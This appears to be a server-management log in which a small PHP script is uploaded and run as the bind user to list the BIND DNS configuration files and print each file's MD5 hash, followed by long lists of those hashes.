MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 13:41:22: Establishing a connection
2026-02-09 13:41:22: 

PUT: /tmp/pkp908496

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 13:41:22: 

runuser -l bind -s /bin/bash -c '/tmp/pkp908496; rm /tmp/pkp908496'

2026-02-09 13:41:22: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
